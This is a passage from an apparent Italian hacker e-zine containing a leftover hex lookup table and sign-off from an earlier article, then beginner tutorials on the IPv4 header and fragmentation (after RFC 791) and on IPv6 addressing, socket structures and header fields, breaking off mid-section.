32 33 38 33 36 46 45 34 34 32 35 44 33 31 38 41 37 00 `:32 38 38 45 31 36 37 44 30 37 30 39 43 31 37 42 31 41 45 43 32 37 39 38 00 {:33 33 39 35 30 44 36 36 31 43 31 32 44 41 36 30 30 31 46 37 33 43 38 33 00 |:33 34 39 32 30 41 36 31 31 42 31 35 44 44 36 37 30 36 46 30 33 42 38 34 00 }:33 35 39 33 30 42 36 30 31 41 31 34 44 43 36 36 30 37 46 31 33 41 38 35 00 ~:33 36 39 30 30 38 36 33 31 39 31 37 44 46 36 35 30 34 46 32 33 39 38 36 00 :36 38 43 45 35 36 33 44 34 37 34 39 38 31 33 42 35 41 41 43 36 37 44 38 00 !:36 39 43 46 35 37 33 43 34 36 34 38 38 30 33 41 35 42 41 44 36 36 44 39 00 ":36 41 43 43 35 34 33 46 34 35 34 42 38 33 33 39 35 38 41 45 36 35 44 41 00 #:36 42 43 44 35 35 33 45 34 34 34 41 38 32 33 38 35 39 41 46 36 34 44 42 00 $:36 43 43 41 35 32 33 39 34 33 34 44 38 35 33 46 35 45 41 38 36 33 44 43 00 %:36 44 43 42 35 33 33 38 34 32 34 43 38 34 33 45 35 46 41 39 36 32 44 44 00 &:36 45 43 38 35 30 33 42 34 31 34 46 38 37 33 44 35 43 41 41 36 31 44 45 00 ':36 46 43 39 35 31 33 41 34 30 34 45 38 36 33 43 35 44 41 42 36 30 44 46 00 (:36 30 43 36 35 45 33 35 34 46 34 31 38 39 33 33 35 32 41 34 36 46 44 30 00 ):36 31 43 37 35 46 33 34 34 45 34 30 38 38 33 32 35 33 41 35 36 45 44 31 00 *:36 32 43 34 35 43 33 37 34 44 34 33 38 42 33 31 35 30 41 36 36 44 44 32 00 +:36 33 43 35 35 44 33 36 34 43 34 32 38 41 33 30 35 31 41 37 36 43 44 33 00 ,:36 34 43 32 35 41 33 31 34 42 34 35 38 44 33 37 35 36 41 30 36 42 44 34 00 -:36 35 43 33 35 42 33 30 34 41 34 34 38 43 33 36 35 37 41 31 36 41 44 35 00 .:36 36 43 30 35 38 33 33 34 39 34 37 38 46 33 35 35 34 41 32 36 39 44 36 00 /:36 37 43 31 35 39 33 32 34 38 34 36 38 45 33 34 35 35 41 33 36 38 44 37 00 ::37 32 44 34 34 43 32 37 35 44 35 33 39 42 32 31 34 30 42 36 37 44 43 32 00 ;:37 33 44 35 34 44 32 36 35 43 35 32 39 41 32 30 34 31 42 37 37 43 43 33 00 <:37 34 44 32 34 41 32 31 35 42 35 35 39 44 32 37 34 36 42 30 37 42 43 34 00 =:37 35 44 33 34 42 32 30 35 41 35 34 39 43 32 36 34 37 42 31 37 41 43 35 00 >:37 36 44 30 34 38 32 33 35 39 35 37 39 46 32 35 34 34 42 32 37 39 43 36 00 0:37 38 44 45 34 36 32 44 35 37 35 39 39 31 32 42 34 41 42 43 37 37 43 38 00 1:37 39 44 46 34 37 32 43 35 36 35 38 39 30 32 41 34 42 42 44 37 36 43 39 00 2:37 41 44 43 34 34 32 46 35 35 35 42 39 33 32 39 34 38 42 45 37 35 43 41 00 3:37 42 44 44 34 35 32 45 35 34 35 41 39 37 37 38 34 39 42 46 37 34 43 42 00 4:37 43 44 41 34 32 32 39 35 33 35 44 39 35 32 46 34 45 42 38 37 33 43 43 00 5:37 44 44 42 34 33 32 38 35 32 35 43 39 34 32 45 34 46 42 39 37 32 43 44 00 6:37 45 44 38 34 30 32 42 35 31 35 46 39 37 32 44 34 43 42 41 37 31 43 45 00 7:37 46 44 39 34 31 32 41 35 30 35 45 39 36 32 43 34 44 42 42 37 30 43 46 00 8:37 30 44 36 34 45 32 35 35 46 35 31 39 39 32 33 34 32 42 34 37 46 43 30 00 9:37 31 44 37 34 46 32 34 35 45 35 30 39 38 32 32 34 33 42 35 37 45 43 31 00 :38 39 32 46 42 37 44 43 41 36 41 38 36 30 44 41 42 42 34 44 38 36 33 39 00 :38 43 32 41 42 32 44 39 41 33 41 44 36 35 44 46 42 45 34 38 38 33 33 43 00 :39 34 33 32 41 41 43 31 42 42 42 35 37 44 43 37 41 36 35 30 39 42 32 34 00 :39 35 33 33 41 42 43 30 42 41 42 34 37 43 43 36 41 37 35 31 39 41 32 35 00 :39 45 33 38 41 30 43 42 42 31 42 46 37 37 43 44 41 43 35 41 39 31 32 45 00 :45 46 34 39 44 31 42 41 43 30 43 45 30 36 42 43 44 44 32 42 45 30 35 46 00 :46 38 35 45 43 36 41 44 44 37 44 39 31 31 41 42 43 41 33 43 46 37 34 38 00 :46 41 35 43 43 34 41 46 44 35 44 42 31 33 41 39 43 38 33 45 46 35 34 41 00 :46 42 35 44 43 35 41 45 44 34 44 41 31 32 41 38 43 39 33 46 46 34 34 42 00 :46 43 35 41 43 32 41 39 44 33 44 44 31 35 41 46 43 45 33 38 46 33 34 43 00 :46 44 35 42 43 33 41 38 44 32 44 43 31 34 41 45 43 46 33 39 46 32 34 44 00 ---------------------------------------------------------------------------- Spero di essere stato sufficentemente esauriente e chiaro, ma per qualsiasi motivo puoi contattarmi a JuxWell@hushmail.com --AndThen-- Un saluto a : Ax1s,Fake,N0b0dy88,[RequieM],TheDuke,Ergoline,Zero,debian b-cen,jaMMiNa,NighTiger,Gourry,Java,vaffa,CyberBrown,HtB,... e a chi non'ho nominato :-) Per qualsiasi motivo --> JuxWell@freemail.it Byez all |-|-| Jux*JuxWell ******************************************************************** QUESTO TESTO DEVE INTENDERSI COME PURAMENTE INFORMATIVO, PERCIO' L'AUTORE, SCREENER_it, DECLINA OGNI RESPONSABILITA' DALL'USO CHE POTREBBE ESSERNE FATTO. L'AUTORE, DUNQUE, NON INCORAGGIA CHI VOLESSE SERVIRSENE PER SCOPI ILLEGALI. ********************************************************************* ۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ͻ Ŀ INTERNET PROTOCOL ٺ ͼ Perche' questo stress di proporizioni immani ? perche' questa rottura di balle a livello mostruoso? Semplicemente perche' se un giorno, nel vostro remoto futuro la vostra smania di smanettoni vi portera' verso nuove frontiere anche chiamate "ip spoofing, raw socket ect ect " avrete bisogno di "knoware" i vari protocolli ed i rispettivi metodi di trasmissione.Non vi frega un caxxo? Morite nell'inferno dei LAMAH. DeDDo To: la mia cucciolina :* (by Dante Alighieri) Vs-DeD 2: la distanza...non quella fisica..ma quella degli animi.. Funzioni -> Addressing & Fragmentation Routing -> Path della Trasmissione Gli Internet Modules frammentano i pacchetti per la trasmissione dei dati e li riassemblano usando i campi contenuti nell' Internet Header. Un "Model of Operation" risiede su ogni host e su ogni gateway. Esso ha la funzione di interpretare gli "Addresses", frammentare e riassemblare i pacchetti. L' IP tratta ogni pacchetto come indipendente e non correlato agli altri ed usa 4 meccanismi per provvedere a questi servizi. 1) Type of Services -> E' usato per indicare la qualita' del servizio desiderato. E' un set di parametri che serve a caratterizzare il servizio scelto.Viene usato dai gateways per selezionare i parametri di trasmissione per un particolare network.Serve ankora per stabilire il network da utilizzare nel passo seguente o il prossimo gateway da cui l'internet datagram passera' durante il suo routing. 2) Time to Live -> Indica il tempo di vita di un Internet Datagram. Viene Stabilito da chi invia il datagramma e viene ridotto lungo la rotta che percorre. Se diventa zero prima di raggiungere la destinazione, il datagramma viene distrutto. Il "TTL" puo' essere pensato come un tempo limite di autodistruzione del datagramma. 3) Header Checksum -> Provvede a verificare che le informazioni usate per processare il datagramma internet siano trasmesse correttamente ed a rilevare il caso in cui i dati potrebbero contenere errori. SE l'"HC" fallisce, il datagramma viene scartato a seconda dell' entita' dell' errore. L' IP non prevede una facilita' di comunicazione. Non ci sono controlli di errore nei dati, tranne l'Header Checksum. Non esiste alcun controllo del flusso dati. Gli errori vengono riportati via "Internet Control Message Protocol"(ICMP) che e' implementato nell'"Internet Protocol Module". - Relazione con gli altri protocolli. Il seguenta diagramma illustra il posto occupato dall' IP nella gerarchia dei protocolli: +------+ +-----+ +-----+ +-----+ |Telnet| | FTP | | TFTP| ... | ... | +------+ +-----+ +-----+ +-----+ | | | | +-----+ +-----+ +-----+ | TCP | | UDP | ... | ... | +-----+ +-----+ +-----+ | | | +--------------------------+----+ | Internet Protocol & ICMP | +--------------------------+----+ | +---------------------------+ | Local Network Protocol | +---------------------------+ l' IP interfaccia verso l'alto il protocollo host-to-host e verso il basso il local network protocol. 2.2 Modelli di operativita'. I modelli di operativita' per la trasmissione di un datagramma da un applicazione ad un' altra sono illustrati nel seguente scenario: SI suppone che questa trasmissione coinvolga un gateway di mezzo. .Il programma mandante prepara i suoi dati e chiama il suo local internet module per mandarli come datagramma. Quindi passa l'indirizzo di destinazione e gli altri parametri al datagram. .L'IM prepara un header per il datagramma e lo riempie con i dati. Determina un indirizzo locale per l'host di destinazione, impersonato nella fattispecie dal gateway. .Manda questo datagramma con il local network address alla local network interface. .Questo crea un header locale,gli attaca il datagramma e manda i risultati via local net. .Il datagramma arriva al gateway indicato nell' header,il local network interface spoglia questo header e gira il datagramma all' IM. .L' IM determina dall' internet address se il datagramma deve essere spedito ad un altro host in un secondo network. Determina un local address per questo host e richiama la network interface trasmettendogli il datagramma. .La local network interface crea un header locale e gli attacca il datagramma mandando i risultati all'host di destinazione. .Il datagramma viene spogliato del local network address dalla LNI e passato all' IM .L' IM determina a quale programma residente sull'host deve essere destinato il datagramma. Passa il datagramma al programma in risposta a una chiamata di sistema, passa l'indirizzo di provenienza e gli altri parametri come risultato della chiamata. -------------------PATH DELLA TRASMISSIONE ----------------------------------- Application Application Program Program \ / Internet Module Internet Module Internet Module \ / \ / LNI-1 LNI-1 LNI-2 LNI-2 \ / \ / Local Network 1 Local Network 2 2.3 Descrizione delle funzioni La Funzione dell' Internet Protocol e' di spostare i detagrammi attraverso una serie di network interconnessi. Questo e' fatto passando i datagrammi da un internet module ad un altro fino a quando la destinazione non viene raggiunta. L'Internet module risiede negli hosts e nei gateways nel sistema Internet. I datagrammi vengono trasportati da un internet module ad un altro attraverso dei network individuali basati sull' interpretazione degli internet address. Ne consegue che un importante meccanismo dell' Internet Protocol e' proprio l'Internet Address. Nel trasferimento di messaggi da un internet module ad un altro, i datagrammi attraversano dei network il cui massimo pacchetto e' piu' piccolo di quello del datagramma stesso. Per ovviare a questa difficolta', l'Internet Protocol e' provvisto di una meccanismo di frammentazione. Addressing A questo punto si rende necessaria una distinzione fra names,address e route. Il name indica cio' che vogliamo raggiungere, l' address dove si trova e la route il percorso da compiere per raggiungerlo. L'Internet Protocol lavora prima di tutto sugli adresses. E' compito del protocollo di livello superiore risalire dai nomi agli adresses. L'Internet Module mappa gli internet adresses dei local net addresses. E' compito del livello piu' basso mappare la rotta dal local net address. Gli Addresses hanno una lunghezza di 4 byte (32 bits). Un address inizia con un network number, seguito dal local address(chiamato campo "rest"). Esistono tre formati o classi di internet addresses: Nella classe a,il bit piu' alto e' zero,gli altri 7 bit rappresentano il network e gli ultimi 24 il local address; Negli indirizzi di classe b i due bit piu' alti sono uno-zero,i seguenti 14 bit rappresentano il network e gli ultimi 16 il local address; Nella classe c, i tre bit piu' alti sono uno-uno-zero, i seguenti 21 bit rappresentano il network e gli ultimi 8 il local address. Bisogna fare attenzione nel mappare gli internet addresses come local net addresses. Un singolo host fisico potrebbe avere piu' hosts distinti usando cosi' diversi Internet Addresses. Alcuni hosts hanno anche piu' interfacce fisiche (multi homing). Questo e'il caso assunto da un host composto da molte interfacce fisiche in un network che ha piu' indirizzi logici. Frammentazione La Frammentazione deve essere attuata nel caso in cui un grosso pacchetto passi attraverso un network che limita la dimensione dei pacchetti ad una dimensione minore. Un Internet Datagram puo' essere marcato come "Don't Fragment". Ogni datagramma cosi' marcato non viene frammentato in nessuna circostanza. Se il datagramma marcato "Don't Fragment" non puo' raggiungere la destinazione senza essere frammentato viene scartato. La Frammentazione,la trasmissione e il riassemblamento lungo un network che e' invisibile all' internet Module viene chiamata frammentazione Intranet. La procedura di frammentazione e riassemblamento Internet spezzetta i pacchetti in un numero di pacchetti piu' piccoli che verranno riassemblati successivamente. Il Ricevente dei pacchetti usa l'"Identification Field" per assicurarsi che i frammenti di differenti datagrammi non vengano mischiati.Il Campo "Fragment offset" informa il ricevente circa la posizione del frammento nel datagramma originale.I vari "Fragment Flag" indicano l'ultimo frammento. Questi campi provvedono informazioni sufficienti a riassemblare i datagrammi. L' "identification field" e' usato per distinguere il frammento di un datagrammma da un altro. Il protocollo che origina un internet datagram setta l'identification field ad un valore che deve essere unico per ogni coppia origine-destinazione e per il tempo in cui il datagramma sara' attivo nel sistema internet.Il protocollo che origina il datagramma setta i campi flag e offset a zero. Per frammentare un dategramma, un internet module(per ex. in un gateway) crea due nuovi datagrammi internet copiando il contenuto del campo header negli header dei due nuovi datagrammi. I dati contenuti nel datagramma originario vengono divisi in due porzioni di 8 byte (64 bit) di confine (la seconda porzione non deve essere nacessariamente un multiplo integrale di 8 byte, al contrario della prima).Il numero di byte in cui il datagramma e' diviso viene chiamato NFB (Number of Fragment Blocks).La prima porzione di dati e' posta nel primo internet datagram e il campo total lenght e' impostato alla lunghezza del primo datagramma. Il flag viene posto a uno.La seconda prozione di dati e' posta nel secondo datagramma ed il campo total lenght viene impostato con la lunghezza del secondo datagramma. Il fragment offset del secondo datagramma viene posto con il valore di quel campo piu' NFB. La procedura puo' essere generalizzata per un qualsiasi numero di datagrammi. Per assemblare un datagramma, un internet module(per ex. quello dell' host di destinazione) combina tutti i datagrammi che hanno lo stesso valore nei 4 campi: identification,source,destination e protocol.La combinazione e' ottenuta mettendo la porzioni di dati di ogni frammento nella relativa posizione indicata dal campo offset.Il primo frammento avra'offset zero e l'ultimo frammento avra' il more-fragmented flag uguale a zero. 2.4 Gateways I Gateways impletentano l' Internet Protocol per spedire i datagrammi attraverso i vari networks.Implementano anche il protocollo "gateway to gateway" (GGP) per coordinare il routing e altre informazioni di controllo internet. In un gateway il protocollo di piu' alto livello non ha bisogno di essere implementato e il GGP si aggiunge al modulo IP. +-------------------------------+ | Internet Protocol & ICMP & GGP| +-------------------------------+ | | +---------------+ +---------------+ | Local Net | | Local Net | +---------------+ +---------------+ Gateway Protocols 3. SPECIFICAZIONI 3.1 Formato dell' internet header Lo schema seguente riassume i contenuti di un internet header: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Ogni tacca rappresenta un bit. Version -> 4 bits Il campo Version indica il formato dell' internet header. IHL -> 4 bits L' internet header lenght descrive la lunghezza dell' internet header in parole da 32 bit e punta all' inizio dei dati. Il valore minimo per un header corretto e' di almeno 5. Type of Service -> 8 bits Provvede alla informazione sulla qualita' del servizio desiderato. Questi parametri vengono usati per la selezione di un servizio quando un datagramma viene trasmesso attraverso vari network.Alcuni network trattano come piu' importante il traffico di alta precedenza.Le scelte principali sono fondamentalmente tre: low-delay, high-reliability, and high-throughput. Bits 0-2: Precedence. Bit 3: 0 = Normal Delay, 1 = Low Delay. Bits 4: 0 = Normal Throughput, 1 = High Throughput. Bits 5: 0 = Normal Relibility, 1 = High Relibility. Bit 6-7: Reserved for Future Use. 0 1 2 3 4 5 6 7 +-----+-----+-----+-----+-----+-----+-----+-----+ | | | | | | | | PRECEDENCE | D | T | R | 0 | 0 | | | | | | | | +-----+-----+-----+-----+-----+-----+-----+-----+ Precedence 111 - Network Control 110 - Internetwork Control 101 - CRITIC/ECP 100 - Flash Override 011 - Flash 010 - Immediate 001 - Priority 000 - Routine L'uso di Delay , throughput e reliability puo' aumentare il costo del servizio. In alcuni network ,una migliore performance di uno di questi parametri e' compensata da una peggiore di altri.Tranne in alcuni rari casi,al massimo due di questi parametri vengono indicati. Il Type of Service e' usato per indicare il trattamento di un datagramma durante la sua trasmissione attraverso il sistema Internet. Il Network control precedence e'inteso per essere usato con un solo network.L'uso di questo controllo e' presente in ogni rete.L'Internetwork Control e'inteso per essere usato solo dai gateways.E' responsabilita' di ogni network usare questi controlli di designazione. Total Lenght -> 16 bits E'la lunghezza del datagramma misurata in byte, compresi l'internet header e i dati.Questo campo consente ad un datagramma di essere superiore a 65.535 byte.Alcuni lunghi datagrammi sono poco pratici per alcuni hosts e network.Tutti gli hosts devono essere preparati per inviare datagrammi piu' grandi di 576 byte se sono sicuri che la destinazione e' preparata per accettare datagrammi piu' grandi. Il numero 576 e' stabilito per consentire una giusta misura di blocchi di dati da trasmettere insieme all' header.Per esempio questa misura consente l' invio di blocchi di dati di 512 byte piu' 64 byte di header da mettere nel datagramma. Il massimo internet header e' di 60 byte, e un tipico header e' di 20 byte consentendo un margine per gli header appartenti a protocolli di livello superiore. Identification -> 16 bits E' un valore di identificazione assegnato dal mandante per poter riassemblare i datagrammi Flags -> 3 bits Vari controlli di flags Various Control Flags. Bit 0: reserved, must be zero Bit 1: (DF) 0 = May Fragment, 1 = Don't Fragment. Bit 2: (MF) 0 = Last Fragment, 1 = More Fragments. 0 1 2 +---+---+---+ | | D | M | | 0 | F | F | +---+---+---+ Fragment Offset -> 13 bits Indica la posizione del datagramma in una frammentazione. E' misurato in unita' di 8 byte(64 bits). Il primo frammento ha offset zero. Time to Live -> 8 bits Questo campo indica il massimo tempo durante il quale al datagramme e' consentito rimanere in internet. Se questo campo contiene il valore zero, il datagramma deve essere distrutto. Questo campo viene modificato nell' header processing ed il tempo e' misurato in unita' di secondi. Protocol -> 8 bits Indica il prossimo livello di protocollo usato nella porzione di dati dell'Internet Datagram. Il valore dei protocolli e' specificato in "Assigned Numbers". Header Checksun -> 16 bits Un checksum del solo header. Ogni volta che qualche campo viene modificato , l'Header Chacksum viene controllato ad ogni punto in cui l' internet header e'processato. Source Address -> 32 bits Indirizzo di provenienza Destination Address -> 32 bits Indirizzo di Destinazione Options -> Variabile Possono esserci o no in un datagramma. Devono essere implementate da tutti i moduli IP(Host e gateways).Cio' che e' opzionale e' la loro trasmissione ma non la loro implementazione. In alcune situazioni le security options puo' essere richiesta esplicitamente. Il campo options puo' avere lunghezza variabile. Ci possono essere zero o piu' opzioni.Ci sono due casi per il formato option. Caso 1 -> Un singolo byte di option type caso 2 -> Un byte option-type, un byte option-lenght e i byte option-data La option lenght conta sia gli ottetti option-type che quelli option-lenght e option-data. La option type ha 3 campi : 1 bit copied flag, 2 bits option class, 5 bits option number. Il copied flag indica che l' opzione e' copiata in tutti i frammenti del datagramma 0 = not copied 1 = copied La option classes sono : 0 = control 1 = reserved for future use 2 = debugging and measurement 3 = reserved for future use Vengono Riconosciute le seguenti opzioni : CLASS NUMBER LENGTH DESCRIPTION ----- ------ ------ ----------- 0 0 - End of Option list. This option occupies only 1 octet; it has no length octet. 0 1 - No Operation. This option occupies only 1 octet; it has no length octet. 0 2 11 Security. Used to carry Security, Compartmentation, User Group (TCC), and Handling Restriction Codes compatible with DOD requirements. 0 3 var. Loose Source Routing. Used to route the internet datagram based on information supplied by the source. 0 9 var. Strict Source Routing. Used to route the internet datagram based on information supplied by the source. 0 7 var. Record Route. Used to trace the route an internet datagram takes. 0 8 4 Stream ID. Used to carry the stream identifier. 2 4 var. Internet Timestamp. Definizione delle opzioni. End of Option List +--------+ |00000000| +--------+ Type=0 Questa opzione indica la fine della lista di opzioni. Questa puo' non coincidere con la fine dell' header.Viene usata alla fine di tutte le opzioni ma non alla fine di ognuna di esse la fine delle opzioni non coincide necessariamente con la fine dell'header. Puo' essere copiata,cancellata o inserita durante la frammentazione per alcune particolari ragioni. No Operation +--------+ |00000001| +--------+ Type=1 Puo' essere usata tra le options per esempio, per allineare l'inizio di un opzione seguente ad una linea di 32 bit. Puo' essere copiata,cancellata o inserita durante la frammentazione per alcune particolari ragioni. Security Questa opzione fornisce agli hosts un modo per inviare dati sicuri,resrizioni e TCC.Il formato e' il seguente: +--------+--------+---//---+---//---+---//---+---//---+ |10000010|00001011|SSS SSS|CCC CCC|HHH HHH| TCC | +--------+--------+---//---+---//---+---//---+---//---+ Type=130 Length=11 Security (S field): 16 bits Specifica uno dei 16 livelli di sicurezza. (otto di questi sono riservati ad un uso futuro). 00000000 00000000 - Unclassified 11110001 00110101 - Confidential 01111000 10011010 - EFTO 10111100 01001101 - MMMM 01011110 00100110 - PROG 10101111 00010011 - Restricted 11010111 10001000 - Secret 01101011 11000101 - Top Secret 00110101 11100010 - (Reserved for future use) 10011010 11110001 - (Reserved for future use) 01001101 01111000 - (Reserved for future use) 00100100 10111101 - (Reserved for future use) 00010011 01011110 - (Reserved for future use) 10001001 10101111 - (Reserved for future use) 11000100 11010110 - (Reserved for future use) 11100010 01101011 - (Reserved for future use) - Compartments (C field): 16 bits E' uguale a zero quando l'informazione trasmessa non e' frammentata. - Handling Restrictions (H field): 16 bits I valori sono definiti nello "Standard Security Markings". - Transmission Control Code (TCC field): 24 bits Provvede a segregare il traffico. Deve essere copiato durante la frammentazione.Questa opzione appare al massimo una volta nel datagramma. - Loose Source and Record Route +--------+--------+--------+---------//--------+ |10000011| length | pointer| route data | +--------+--------+--------+---------//--------+ Type=131 L'opzione LSRR provvede delle inforamazioni per il routing che vengono usate dai gateways. - Strict Source and Record Route +--------+--------+--------+---------//--------+ |10001001| length | pointer| route data | +--------+--------+--------+---------//--------+ Type=137 L'opzione SSRR provvede altre inforamazioni per il routing che vengono usate dai gateways. - Record Route +--------+--------+--------+---------//--------+ |00000111| length | pointer| route data | +--------+--------+--------+---------//--------+ Type=7 la RR provvede a fornire delle informazioni per registrare la rotta che un datagram ma compie. - Stream Identifier +--------+--------+--------+--------+ |10001000|00000010| Stream ID | +--------+--------+--------+--------+ Type=136 Length=4 Serve per i network che non supportano lo stream concept. - Internet Timestamp +--------+--------+--------+--------+ |01000100| length | pointer|oflw|flg| +--------+--------+--------+--------+ | internet address | +--------+--------+--------+--------+ | timestamp | +--------+--------+--------+--------+ | . | . . Type = 68 Cazzo porca miseria...ci siamo rotti i maroni alla grandissima...se ne volete sapere di + la fonte e' l'RFC791...immagino pero' che vi siate altamente scassati. Se l'articolo vi e' piaciuto clickate qui' e contemporaneamente rivolgete le vostre ingiurie verso il sommo Bill "potato" Gates __________ | Vote for | <---- Click HeRe and u WiLL win a FREE SHELL !!!! | US | |__________| ͻ Ŀ IPIVUSEI ٺ ͼ Allora, premetto che io di reti so meno della cagna di mio nonno e che fino a qualche mese fa pensavo che IPv4 si chiamasse cosi' perche' l'indirizzo era formato da quattro campi (sigh...), quindi perdonatemi se scrivo qualche cazzata. Cmq N0b0dy mi ha chiesto di scrivere un articolo per newbies e visto che mi sono appena letto un libro sull'ipv6 vedo un po' di dirvi un po' quello che ho imparato... N.B. la roba che sta scritta qua sotto (almeno la roba giusta) e' stata tratta da "Guida ad IPv6" di Silvano Gai e dagli rfc 1881, 1883, 1884; gli errori invece sono tutti miei ;-) Quindi se avete gia' letto sta roba passate avanti che di sicuro trovate articoli piu' interessanti. Allora... nel lontano settembre 1981 avvennero due fatti destinati a sconvolgere il futuro dell'umanita', sono nato io, ed il vecchio caro IPv4 e' diventato standard. Tramite gli indirizzi a 32bit (aaa.bbb.ccc.ddd) che vediamo normalmente il protocollo IPv4 sarebbe in grado di indirizzare circa 4 milirdi di host (255^4 - indirizzi riservati), cioe' ben piu' dei calcolatori attualmente esistenti. Eppure si parla di esaurimento degli indirizzi, perche'? Perche' gli indirizzi IPv4 non vengono assegnati singolarmente ma a reti, reti che si dividono in tre classi, a senconda di quanti bit sono usati per indicare la rete e quanti per l'host. Abbiamo quindi: 128 reti di classe A, ciasuna grande circa 16 milioni di indirizzi (nnn.hhh.hhh.hhh). Circa 16.000 reti di classe B, ciascuna grande circa 65.000 indirizzi (nnn.nnn.hhh.hhh). Circa 2 milioni di reti di classe C, ciascuna grande 254 indirizzi (nnn.nnn.nnn.hhh). Ovviamente un ente o una corporazione che si vede assegnato un indirizzo di classe A, non avra' 16 milioni di host, con un conseguente grosso spreco di indirizzi. Nel 1991 si pensava che le reti di classe B si sarebbero esaurite nel 1994, per prevenire cio' l'IETF (Internet Engineering Task Force) decise di assegnare oltre alle reti di classe B, blocchi di reti contigue di classe C. Cosi' si riusci' a posticipare a data indefinita (c'e' chi parla del 2005, chi del 2015) l'esaurimento di indirizzi IPv4. Cmq il problema rimaneva e da qui nasce IPv6, la nuova versione del protocollo IP (IPv5 si e' perso per strada... ^_^;). IPv6 si basa su indirizzi a 128 bit ed elimina il concetto di classe in favore di quello di prefisso, permettendo di indirizzare qualcosa come 340.282.366.920.938.463.347.607.431.768.211.456 hosts (circa 1500 per metro quadro di superficie terrestre). Un indirizzo IPv6 verra' rappresentato da 8 campi a 4 cifre esadecimali e da un prefisso finale che indichera' quanti bit dell'indirizzo sono usati per la rete e quanti per l'host. Vi saranno 3 tipi di indirizzi: Unicast: Un identificatore per una singola interfaccia. Un pacchetto spedito ad un indirizzo di unicast verra' consegnato all'interfaccia identificata da quell'indirizzo. Anycast: Un identificatore per un set di interfacce (normalmente appartenenti a differenti nodi). Un pacchetto spedito ad un indirizzo di anycast sara' consegnato alla piu' vicina interfaccia identificata da quell'indirizzo. Multicast: Un identificatore per un set di interfacce (normalmente appartenenti a differenti nodi). Un pacchetto spedito ad un indirizzo di anycast sara' consegnato a tutte le interfacce identificate da quell'indirizzo. Nell'IPv6 non vi saranno indirizzi di broadcast, la loro funzione verra' espletata dagli indirizzi di multicast. Un esempio di indirizzo IPv6 potrebbe essere: 1080:0000:0000:0000:0008:0800:200C:417A/80 ... decisamente scomodo! Per semplificarci un po' la vita e' possibile non scrivere gli zeri non significativi, e quindi: 1080:0:0:0:8:800:200C:417A/80, possiamo poi non scrivere i campi contenenti solo zeri, l'indirizzo finale sara' quindi: 1080::8:800:200C:417A/80, decisamente piu' comodo. Il /80 indica il prefisso, quindi i primi 80 bit di quell'indirizzo staranno ad indicare la rete, gli altri l'host. Il nostro vecchio indirizzo di loopback diventera': ::1. Se i primi sei campi sono a zero l'indirizzo e' IPv4 compatibile, quindi ::A00:1 stara' ad indicare 10.0.0.1 in IPv4. Verranno ovviamente ridefinite alcune funzioni e strutture usate nella programmazione dei socket, in sys/socket.h verra' aggiunta una nuova macro chiamata AF_INET6, da usarsi al posto della vecchia AF_INET in funzioni come socket. La struttura in_addr (avete presente addr.sin_addr...) verra' sostituita da in6_addr. struct in_addr { unsigned int s_addr; }; struct in6_addr { u_char s6_addr[16]; }; Quindi l'indirizzo sara' indicato non piu' come un intero senza segno (appunto 32 bit) ma come un array di sedici elementi da 8 bit l'uno. La struttura sockaddr_in (quella usata come secondo argomento in funzioni come connect, bind e getpeername) verra' sostituita da sockaddr_in6 struct sockaddr_in { short sin_family; short sin_port; struct in_addr sin_addr }; struct sockaddr_in6 { u_short sin6_family; u_short sin6_port; u_long sin6_flowinfo; /* Questo non ho capito a cosa serve */ struct in6_addr sin6_addr; }; Per convertire gli indirizzi da formato binario a formato ascii sono state definite due nuove funzioni: inet_pton ed inet_ntop che dovrebbero essere usate il posto di inet_aton ed inet_ntoa. Infine per interrogare i DNS verranno usate le funzioni gethostinfo e getnameinfo (dovrebbero fare piu' o meno quello che fanno gethostbyname e get host by addr, ma non ho trovato altre info...). Esaminiamo ora come sono fatti gli header di un pacchetto IPv6: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| Prio. | Flow Label | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Payload Length | Next Header | Hop Limit | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Source Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Destination Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (L'header dell'IPv4 non mi tiene di ridisegnarlo, quindi se non lo conoscete andatevelo a vedere su un qualunque txt sull'IP) Vediamo un po' uno ad uno i campi: Version: Il campo version e' grande 4 bit e contiene il numero 6. Questo campo non ha un grande utilita' visto che si e' deciso di assegnare all'IPv6 un Protocol Type diverso da quello dell'IPv4 (0x800 per l'IPv4 e 0x86DD per l'IPv6.) Priority: Il campo priority e' grande 4 bit e permette al nodo mittente di associare ad i pacchetti da esso generati priorita' diverse. Priorita' Applicazioni 0 Traffico non meglio definito 1 Traffico di riempimento 2 Trasferimento dati nin sorvegliato 3 Riservato 4 Trasferimento dati sorvegliato 5 Riservato 6 Traffico interattivo 7 Traffico di controllo Le priorita' da 8 a 15 (2^4=16) 